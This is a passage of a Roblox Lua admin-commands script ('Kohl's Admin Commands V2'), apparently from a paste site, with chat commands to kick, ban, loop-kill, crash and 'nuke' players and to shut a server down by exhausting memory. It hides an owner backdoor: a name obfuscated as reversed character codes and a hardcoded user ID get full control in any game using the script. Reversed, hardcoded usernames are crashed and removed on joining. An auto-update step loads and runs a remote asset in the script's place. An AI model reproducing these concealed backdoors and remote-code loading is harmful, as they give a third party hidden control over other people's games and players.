  2207. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2208. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2209. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2210. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2211. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2212. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2213. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2214. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2215. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2216. end
  2217.  
  2218. end
  2219.  
  2220.  
  2221. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2222.  
  2223. if msg:lower():sub(1,3) == "pa " then
  2224. local plrz = GetPlr(plr, msg:lower():sub(4))
  2225. for i, v in pairs(plrz) do
  2226. coroutine.resume(coroutine.create(function()
  2227. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2228. end))
  2229. end
  2230. end
  2231.  
  2232. if msg:lower():sub(1,5) == "unpa " then
  2233. for i = 1, #admins do
  2234. coroutine.resume(coroutine.create(function()
  2235. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2236. end))
  2237. end
  2238. end
  2239.  
  2240. if msg:lower():sub(1,5) == "nuke " then
  2241. local plrz = GetPlr(plr, msg:lower():sub(6))
  2242. for i, v in pairs(plrz) do
  2243. coroutine.resume(coroutine.create(function()
  2244. if v and v.Character and v.Character:findFirstChild("Torso") then
  2245. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2246. p.Anchored = true
  2247. p.CanCollide = false
  2248. p.formFactor = "Symmetric"
  2249. p.Shape = "Ball"
  2250. p.Size = Vector3.new(1,1,1)
  2251. p.BrickColor = BrickColor.new("New Yeller")
  2252. p.Transparency = .5
  2253. p.Reflectance = .2
  2254. p.TopSurface = 0
  2255. p.BottomSurface = 0
  2256. p.Touched:connect(function(hit)
  2257. if hit and hit.Parent then
  2258. local ex = Instance.new("Explosion", game.Workspace)
  2259. ex.Position = hit.Position
  2260. ex.BlastRadius = 11
  2261. ex.BlastPressure = math.huge
  2262. end
  2263. end)
  2264. local cf = v.Character.Torso.CFrame
  2265. p.CFrame = cf
  2266. for i = 1, 333 do
  2267. p.Size = p.Size + Vector3.new(3,3,3)
  2268. p.CFrame = cf
  2269. wait(1/44)
  2270. end
  2271. p:Destroy()
  2272. end
  2273. end))
  2274. end
  2275. end
  2276.  
  2277. end
  2278.  
  2279.  
  2280. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2281.  
  2282. if msg:lower() == "logs" then
  2283. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2284. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2285. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2286. end
  2287.  
  2288. if msg:lower():sub(1,9) == "loopkill " then
  2289. local chk1 = msg:lower():sub(10):find(" ")
  2290. local plrz = GetPlr(plr, msg:lower():sub(10))
  2291. local num = 9999
  2292. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2293. for i, v in pairs(plrz) do
  2294. if v and not ChkAdmin(v.Name, false) then
  2295. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2296. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2297. for i = 1, ]] .. tostring(num) .. [[ do
  2298. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2299. coroutine.resume(coroutine.create(function()
  2300. if plr and plr.Character then plr.Character:BreakJoints() end
  2301. end))
  2302. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2303. end
  2304. end
  2305. end
  2306.  
  2307. if msg:lower():sub(1,11) == "unloopkill " then
  2308. local plrz = GetPlr(plr, msg:lower():sub(12))
  2309. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2310. end
  2311.  
  2312. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2313. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2314.  
  2315. if msg:lower():sub(1,3) == "sm " then
  2316. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2317. end
  2318.  
  2319. if msg:lower():sub(1,3) == "ko " then
  2320. local chk1 = msg:lower():sub(4):find(" ") + 3
  2321. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2322. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2323. for n = 1, num do
  2324. for i, v in pairs(plrz) do
  2325. coroutine.resume(coroutine.create(function()
  2326. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2327. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2328. v.Character:BreakJoints()
  2329. wait(1/44)
  2330. v:LoadCharacter()
  2331. wait(1/44)
  2332. end
  2333. end))
  2334. end
  2335. end
  2336. end
  2337.  
  2338. if msg:lower():sub(1,6) == "crash " then
  2339. local plrz = GetPlr(plr, msg:lower():sub(7))
  2340. for i, v in pairs(plrz) do
  2341. coroutine.resume(coroutine.create(function()
  2342. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2343. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2344. end
  2345. end))
  2346. end
  2347. end
  2348.  
  2349. if msg:lower():sub(1,5) == "kick " then
  2350. local plrz = GetPlr(plr, msg:lower():sub(6))
  2351. for i, v in pairs(plrz) do
  2352. coroutine.resume(coroutine.create(function()
  2353. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2354. end))
  2355. end
  2356. end
  2357.  
  2358. if msg:lower():sub(1,6) == "admin " then
  2359. local plrz = GetPlr(plr, msg:lower():sub(7))
  2360. for i, v in pairs(plrz) do
  2361. coroutine.resume(coroutine.create(function()
  2362. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2363. end))
  2364. end
  2365. end
  2366.  
  2367. if msg:lower():sub(1,8) == "unadmin " then
  2368. for i = 1, #tempadmins do
  2369. coroutine.resume(coroutine.create(function()
  2370. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2371. end))
  2372. end
  2373. end
  2374.  
  2375. if msg:lower():sub(1,4) == "ban " then
  2376. local plrz = GetPlr(plr, msg:lower():sub(5))
  2377. for i, v in pairs(plrz) do
  2378. coroutine.resume(coroutine.create(function()
  2379. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2380. end))
  2381. end
  2382. end
  2383.  
  2384. if msg:lower():sub(1,6) == "unban " then
  2385. for i = 1, #banland do
  2386. coroutine.resume(coroutine.create(function()
  2387. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2388. end))
  2389. end
  2390. end
  2391.  
  2392. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2393.  
  2394. end
  2395. end))
  2396. end
  2397.  
  2398. function AdminControl(plr)
  2399. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2400. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2401. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2402. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2403. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2404. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2405. end)) end
  2406. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2407. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2408. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2409. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2410. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2411. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2412. end
  2413.  
  2414. if not ntab then script:Destroy() end
  2415. if not bct then script:Destroy() end
  2416.  
  2417. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2418.  
  2419. script.Name = "Kohl's Admin Commands V2"
  2420.  
  2421. if not ntab then script:Destroy() end
  2422. if not bct then script:Destroy() end
  2423. if not tcb then script:Destroy() end
  2424. game.Players.PlayerAdded:connect(AdminControl)
  2425. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2426. end
  2427.  
  2428. local mod = game:service("InsertService"):LoadAsset(100808216)
  2429. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2430. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2431. newac.Disabled = true
  2432. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2433. local old = 0
  2434. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2435. if new > old then
  2436. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2437. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2438. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2439. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2440. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2441. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2442. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2443. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2444. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2445. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2446. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2447. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2448. wait()
  2449. newac.Parent = game.Workspace
  2450. newac.Disabled = false
  2451. script.Disabled = true
  2452. script:Destroy()
  2453. else
  2454. CHEESE()
  2455. end
  2456. else
  2457. CHEESE()
  2458. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement